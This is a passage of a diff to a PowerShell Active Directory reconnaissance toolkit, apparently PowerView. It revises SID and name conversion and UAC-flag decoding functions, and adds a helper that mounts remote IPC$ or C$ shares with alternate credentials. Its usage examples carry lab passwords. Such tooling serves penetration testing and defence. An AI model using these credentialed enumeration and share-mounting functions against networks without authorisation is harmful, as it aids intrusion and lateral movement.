-Value 66176 +'DEV\dfm','DEV\krbtgt' | ConvertTo-SID - Convert the UAC value 66176 to human readable format. +.EXAMPLE - .EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred - PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue +.INPUTS - Convert the UAC value for 'jason' to human readable format. +String - .EXAMPLE +Accepts one or more username specification strings on the pipeline. - PS C:\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll +.OUTPUTS - Convert the UAC value for 'jason' to human readable format, showing all - possible UAC values. +String + +A string representing the SID of the translated name. #> - + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] [CmdletBinding()] - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - $Value, + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name', 'Identity')] + [String[]] + $ObjectName, - [Switch] - $ShowAll + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - begin { - # values from https://support.microsoft.com/en-us/kb/305144 - $UACValues = New-Object System.Collections.Specialized.OrderedDictionary - $UACValues.Add("SCRIPT", 1) - $UACValues.Add("ACCOUNTDISABLE", 2) - $UACValues.Add("HOMEDIR_REQUIRED", 8) - $UACValues.Add("LOCKOUT", 16) - $UACValues.Add("PASSWD_NOTREQD", 32) - $UACValues.Add("PASSWD_CANT_CHANGE", 64) - $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) - $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) - $UACValues.Add("NORMAL_ACCOUNT", 512) - $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) - $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) - $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) - $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) - $UACValues.Add("MNS_LOGON_ACCOUNT", 131072) - $UACValues.Add("SMARTCARD_REQUIRED", 262144) - $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) - $UACValues.Add("NOT_DELEGATED", 1048576) - $UACValues.Add("USE_DES_KEY_ONLY", 2097152) - $UACValues.Add("DONT_REQ_PREAUTH", 4194304) - $UACValues.Add("PASSWORD_EXPIRED", 8388608) - $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) - $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) + BEGIN { + $DomainSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential } } - process { + PROCESS { + ForEach ($Object in $ObjectName) { + $Object = $Object -Replace '/','\' - $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary + if ($PSBoundParameters['Credential']) { + $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments + if ($DN) { + $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $UserName = $DN.Split(',')[0].split('=')[1] - if($Value -is [Int]) { - $IntValue = $Value - } - elseif ($Value -is [PSCustomObject]) { - if($Value.useraccountcontrol) { - $IntValue = $Value.useraccountcontrol + $DomainSearcherArguments['Identity'] = $UserName + $DomainSearcherArguments['Domain'] = $UserDomain + $DomainSearcherArguments['Properties'] = 'objectsid' + Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid + } } - } - else { - Write-Warning "Invalid object input for -Value : $Value" - return $Null - } + else { + try { + if ($Object.Contains('\')) { + $Domain = $Object.Split('\')[0] + $Object = $Object.Split('\')[1] + } + elseif (-not $PSBoundParameters['Domain']) { + $DomainSearcherArguments = @{} + $Domain = (Get-Domain @DomainSearcherArguments).Name + } - if($ShowAll) { - foreach ($UACValue in $UACValues.GetEnumerator()) { - if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") - } - else { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object)) + $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value } - } - } - else { - foreach ($UACValue in $UACValues.GetEnumerator()) { - if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { - $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + catch { + Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_" } } } - $ResultUACValues } } -filter Get-Proxy { +function ConvertFrom-SID { <# - .SYNOPSIS - - Enumerates the proxy server and WPAD conents for the current user. +.SYNOPSIS - .PARAMETER ComputerName +Converts a security identifier (SID) to a group/user name. - The computername to enumerate proxy settings on, defaults to local host. +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Convert-ADName - .EXAMPLE +.DESCRIPTION - PS C:\> Get-Proxy - - Returns the current proxy settings. -#> - param( - [Parameter(ValueFromPipeline=$True)] - [ValidateNotNullOrEmpty()] - [String] - $ComputerName = $ENV:COMPUTERNAME - ) +Converts a security identifier string (SID) to a group/user name +using Convert-ADName. +.PARAMETER ObjectSid + +Specifies one or more SIDs to convert. + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 + +TESTLAB\harmj0y + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID + +TESTLAB\WINDOWS2$ +TESTLAB\harmj0y +BUILTIN\Distributed COM Users + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred + +TESTLAB\harmj0y + +.INPUTS + +String + +Accepts one or more SID strings on the pipeline. + +.OUTPUTS + +String + +The converted DOMAIN\username. +#> + + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SID')] + [ValidatePattern('^S-1-.*')] + [String[]] + $ObjectSid, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ADNameArguments = @{} + if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + } + + PROCESS { + ForEach ($TargetSid in $ObjectSid) { + $TargetSid = $TargetSid.trim('*') + try { + # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330 + Switch ($TargetSid) { + 'S-1-0' { 'Null Authority' } + 'S-1-0-0' { 'Nobody' } + 'S-1-1' { 'World Authority' } + 'S-1-1-0' { 'Everyone' } + 'S-1-2' { 'Local Authority' } + 'S-1-2-0' { 'Local' } + 'S-1-2-1' { 'Console Logon ' } + 'S-1-3' { 'Creator Authority' } + 'S-1-3-0' { 'Creator Owner' } + 'S-1-3-1' { 'Creator Group' } + 'S-1-3-2' { 'Creator Owner Server' } + 'S-1-3-3' { 'Creator Group Server' } + 'S-1-3-4' { 'Owner Rights' } + 'S-1-4' { 'Non-unique Authority' } + 'S-1-5' { 'NT Authority' } + 'S-1-5-1' { 'Dialup' } + 'S-1-5-2' { 'Network' } + 'S-1-5-3' { 'Batch' } + 'S-1-5-4' { 'Interactive' } + 'S-1-5-6' { 'Service' } + 'S-1-5-7' { 'Anonymous' } + 'S-1-5-8' { 'Proxy' } + 'S-1-5-9' { 'Enterprise Domain Controllers' } + 'S-1-5-10' { 'Principal Self' } + 'S-1-5-11' { 'Authenticated Users' } + 'S-1-5-12' { 'Restricted Code' } + 'S-1-5-13' { 'Terminal Server Users' } + 'S-1-5-14' { 'Remote Interactive Logon' } + 'S-1-5-15' { 'This Organization ' } + 'S-1-5-17' { 'This Organization ' } + 'S-1-5-18' { 'Local System' } + 'S-1-5-19' { 'NT Authority' } + 'S-1-5-20' { 'NT Authority' } + 'S-1-5-80-0' { 'All Services ' } + 'S-1-5-32-544' { 'BUILTIN\Administrators' } + 'S-1-5-32-545' { 'BUILTIN\Users' } + 'S-1-5-32-546' { 'BUILTIN\Guests' } + 'S-1-5-32-547' { 'BUILTIN\Power Users' } + 'S-1-5-32-548' { 'BUILTIN\Account Operators' } + 'S-1-5-32-549' { 'BUILTIN\Server Operators' } + 'S-1-5-32-550' { 'BUILTIN\Print Operators' } + 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } + 'S-1-5-32-552' { 'BUILTIN\Replicators' } + 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } + 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } + 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } + 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } + 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } + 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } + 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } + 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } + 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } + 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } + 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } + 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } + 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } + 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } + 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } + 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } + 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } + 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } + Default { + Convert-ADName -Identity $TargetSid @ADNameArguments + } + } + } + catch { + Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_" + } + } + } +} + + +function Convert-ADName { +<# +.SYNOPSIS + +Converts Active Directory object names between a variety of formats. + +Author: Bill Stewart, Pasquale Lantella +Modifications: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function is heavily based on Bill Stewart's code and Pasquale Lantella's code (in LINK) +and translates Active Directory names between various formats using the NameTranslate COM object. + +.PARAMETER Identity + +Specifies the Active Directory object name to translate, of the following form: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. 'pflynn' + DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format + SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' + SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999' + +.PARAMETER OutputType + +Specifies the output name type you want to convert to, which must be one of the following: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. 'pflynn' + DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn' + SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +Convert-ADName -Identity "TESTLAB\harmj0y" + +harmj0y@testlab.local + +.EXAMPLE + +"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical + +testlab.local/Users/krbtgt +testlab.local/Users/Administrator + +.EXAMPLE + +Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local + +CN=harmj0y,CN=Users,DC=testlab,DC=local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred + +TESTLAB\harmj0y + +.INPUTS + +String + +Accepts one or more objects name strings on the pipeline. + +.OUTPUTS + +String + +Outputs a string representing the converted name. + +.LINK + +http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name', 'ObjectName')] + [String[]] + $Identity, + + [String] + [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')] + $OutputType, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $NameTypes = @{ + 'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com + 'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn + 'NT4' = 3 # fabrikam\pflynn + 'Display' = 4 # pflynn + 'DomainSimple' = 5 # pflynn@fabrikam.com + 'EnterpriseSimple' = 6 # pflynn@fabrikam.com + 'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436} + 'Unknown' = 8 # unknown type - let the server do translation + 'UPN' = 9 # pflynn@fabrikam.com + 'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn + 'SPN' = 11 # HTTP/kairomac.contoso.com + 'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999 + } + + # accessor functions from Bill Stewart to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { + $Output = $Null + $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters) + Write-Output $Output + } + + function Get-Property([__ComObject] $Object, [String] $Property) { + $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL) + } + + function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { + [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters) + } + + # https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx + if ($PSBoundParameters['Server']) { + $ADSInitType = 2 + $InitName = $Server + } + elseif ($PSBoundParameters['Domain']) { + $ADSInitType = 1 + $InitName = $Domain + } + elseif ($PSBoundParameters['Credential']) { + $Cred = $Credential.GetNetworkCredential() + $ADSInitType = 1 + $InitName = $Cred.Domain + } + else { + # if no domain or server is specified, default to GC initialization + $ADSInitType = 3 + $InitName = $Null + } + } + + PROCESS { + ForEach ($TargetIdentity in $Identity) { + if (-not $PSBoundParameters['OutputType']) { + if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") { + $ADSOutputType = $NameTypes['DomainSimple'] + } + else { + $ADSOutputType = $NameTypes['NT4'] + } + } + else { + $ADSOutputType = $NameTypes[$OutputType] + } + + $Translate = New-Object -ComObject NameTranslate + + if ($PSBoundParameters['Credential']) { + try { + $Cred = $Credential.GetNetworkCredential() + + Invoke-Method $Translate 'InitEx' ( + $ADSInitType, + $InitName, + $Cred.UserName, + $Cred.Domain, + $Cred.Password + ) + } + catch { + Write-Verbose "[Convert-ADName] Error initialiting translation for '$Identity' using alternate credentials : $_" + } + } + else { + try { + Invoke-Method $Translate 'Init' ( + $ADSInitType, + $InitName + ) + } + catch { + Write-Verbose "[Convert-ADName] Error initialiting translation for '$Identity' : $_" + } + } + + # always chase all referrals + Set-Property $Translate 'ChaseReferral' (0x60) + + try { + # 8 = Unknown name type -> let the server do the work for us + Invoke-Method $Translate 'Set' (8, $TargetIdentity) + Invoke-Method $Translate 'Get' ($ADSOutputType) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)" + } + } + } +} + + +function ConvertFrom-UACValue { +<# +.SYNOPSIS + +Converts a UAC int value to human readable form. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function will take an integer that represents a User Account +Control (UAC) binary blob and will covert it to an ordered +dictionary with each bitwise value broken out. By default only values +set are displayed- the -ShowAll switch will display all values with +a + next to the ones set. + +.PARAMETER Value + +Specifies the integer UAC value to convert. + +.PARAMETER ShowAll + +Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set. + +.EXAMPLE + +ConvertFrom-UACValue -Value 66176 + +Name Value +---- ----- +ENCRYPTED_TEXT_PWD_ALLOWED 128 +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser harmj0y | ConvertFrom-UACValue + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll + +Name Value +---- ----- +SCRIPT 1 +ACCOUNTDISABLE 2 +HOMEDIR_REQUIRED 8 +LOCKOUT 16 +PASSWD_NOTREQD 32 +PASSWD_CANT_CHANGE 64 +ENCRYPTED_TEXT_PWD_ALLOWED 128 +TEMP_DUPLICATE_ACCOUNT 256 +NORMAL_ACCOUNT 512+ +INTERDOMAIN_TRUST_ACCOUNT 2048 +WORKSTATION_TRUST_ACCOUNT 4096 +SERVER_TRUST_ACCOUNT 8192 +DONT_EXPIRE_PASSWORD 65536+ +MNS_LOGON_ACCOUNT 131072 +SMARTCARD_REQUIRED 262144 +TRUSTED_FOR_DELEGATION 524288 +NOT_DELEGATED 1048576 +USE_DES_KEY_ONLY 2097152 +DONT_REQ_PREAUTH 4194304 +PASSWORD_EXPIRED 8388608 +TRUSTED_TO_AUTH_FOR_DELEGATION 16777216 +PARTIAL_SECRETS_ACCOUNT 67108864 + +.INPUTS + +Int + +Accepts an integer representing a UAC binary blob. + +.OUTPUTS + +System.Collections.Specialized.OrderedDictionary + +An ordered dictionary with the converted UAC fields. + +.LINK + +https://support.microsoft.com/en-us/kb/305144 +#> + + [OutputType('System.Collections.Specialized.OrderedDictionary')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('UAC', 'useraccountcontrol')] + [Int] + $Value, + + [Switch] + $ShowAll + ) + + BEGIN { + # values from https://support.microsoft.com/en-us/kb/305144 + $UACValues = New-Object System.Collections.Specialized.OrderedDictionary + $UACValues.Add("SCRIPT", 1) + $UACValues.Add("ACCOUNTDISABLE", 2) + $UACValues.Add("HOMEDIR_REQUIRED", 8) + $UACValues.Add("LOCKOUT", 16) + $UACValues.Add("PASSWD_NOTREQD", 32) + $UACValues.Add("PASSWD_CANT_CHANGE", 64) + $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) + $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) + $UACValues.Add("NORMAL_ACCOUNT", 512) + $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) + $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) + $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) + $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) + $UACValues.Add("MNS_LOGON_ACCOUNT", 131072) + $UACValues.Add("SMARTCARD_REQUIRED", 262144) + $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) + $UACValues.Add("NOT_DELEGATED", 1048576) + $UACValues.Add("USE_DES_KEY_ONLY", 2097152) + $UACValues.Add("DONT_REQ_PREAUTH", 4194304) + $UACValues.Add("PASSWORD_EXPIRED", 8388608) + $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) + $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) + } + + PROCESS { + $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary + + if ($ShowAll) { + ForEach ($UACValue in $UACValues.GetEnumerator()) { + if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") + } + else { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + else { + ForEach ($UACValue in $UACValues.GetEnumerator()) { + if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + $ResultUACValues + } +} + + +function Get-PrincipalContext { +<# +.SYNOPSIS + +Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext +and simplified identity. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Identity + +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202), +or a DOMAIN\username identity. + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] + [String] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + + try { + if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) { + if ($Identity -match '.+\\.+') { + # DOMAIN\groupname + $ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical + if ($ConvertedIdentity) { + $ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/')) + $ObjectIdentity = $Identity.Split('\')[1] + Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'" + } + } + else { + $ObjectIdentity = $Identity + Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'" + $ConnectTarget = $Domain + } + + if ($PSBoundParameters['Credential']) { + Write-Verbose '[Get-PrincipalContext] Using alternate credentials' + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password) + } + else { + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget) + } + } + else { + if ($PSBoundParameters['Credential']) { + Write-Verbose '[Get-PrincipalContext] Using alternate credentials' + $DomainName = Get-Domain | Select-Object -ExpandProperty Name + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password) + } + else { + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain) + } + $ObjectIdentity = $Identity + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Context' $Context + $Out | Add-Member Noteproperty 'Identity' $ObjectIdentity + $Out + } + catch { + Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_" + } +} + + +function Add-RemoteConnection { +<# +.SYNOPSIS + +Pseudo "mounts" a connection to a remote path using the specified +credential object, allowing for access of remote resources. If a -Path isn't +specified, a -ComputerName is required to pseudo-mount IPC$. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection +to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the +-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. + +To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path +or -ComputerName. + +.PARAMETER ComputerName + +Specifies the system to add a \\ComputerName\IPC$ connection for. + +.PARAMETER Path + +Specifies the remote \\UNC\path to add the connection for. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +$Cred = Get-Credential +Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred + +.EXAMPLE + +$Cred = Get-Credential +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred +#> + + [CmdletBinding(DefaultParameterSetName = 'ComputerName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] + [ValidatePattern('\\\\.*\\.*')] + [String[]] + $Path, + + [Parameter(Mandatory = $True)] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential + ) + + BEGIN { + $NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW) + $NetResourceInstance.dwType = 1 + } + + PROCESS { + $Paths = @() + if ($PSBoundParameters['ComputerName']) { + ForEach ($TargetComputerName in $ComputerName) { + $TargetComputerName = $TargetComputerName.Trim('\') + $Paths += ,"\\$TargetComputerName\IPC$" + } + } + else { + $Paths += ,$Path + } + + ForEach ($TargetPath in $Paths) { + $NetResourceInstance.lpRemoteName = $TargetPath + Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath" + + # https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx + # CONNECT_TEMPORARY = 4 + $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4) + + if ($Result -eq 0) { + Write-Verbose "$TargetPath successfully mounted" + } + else { + Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" + } + } + } +} + + +function Remove-RemoteConnection { +<# +.SYNOPSIS + +Destroys a connection created by New-RemoteConnection. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses WNetCancelConnection2 to destroy a connection created by +New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to +'unmount' \\$ComputerName\IPC$. + +.PARAMETER ComputerName + +Specifies the system to remove a \\ComputerName\IPC$ connection for. + +.PARAMETER Path + +Specifies the remote \\UNC\path to remove the connection for. + +.EXAMPLE + +Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local' + +.EXAMPLE + +Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' + +.EXAMPLE + +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding(DefaultParameterSetName = 'ComputerName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', 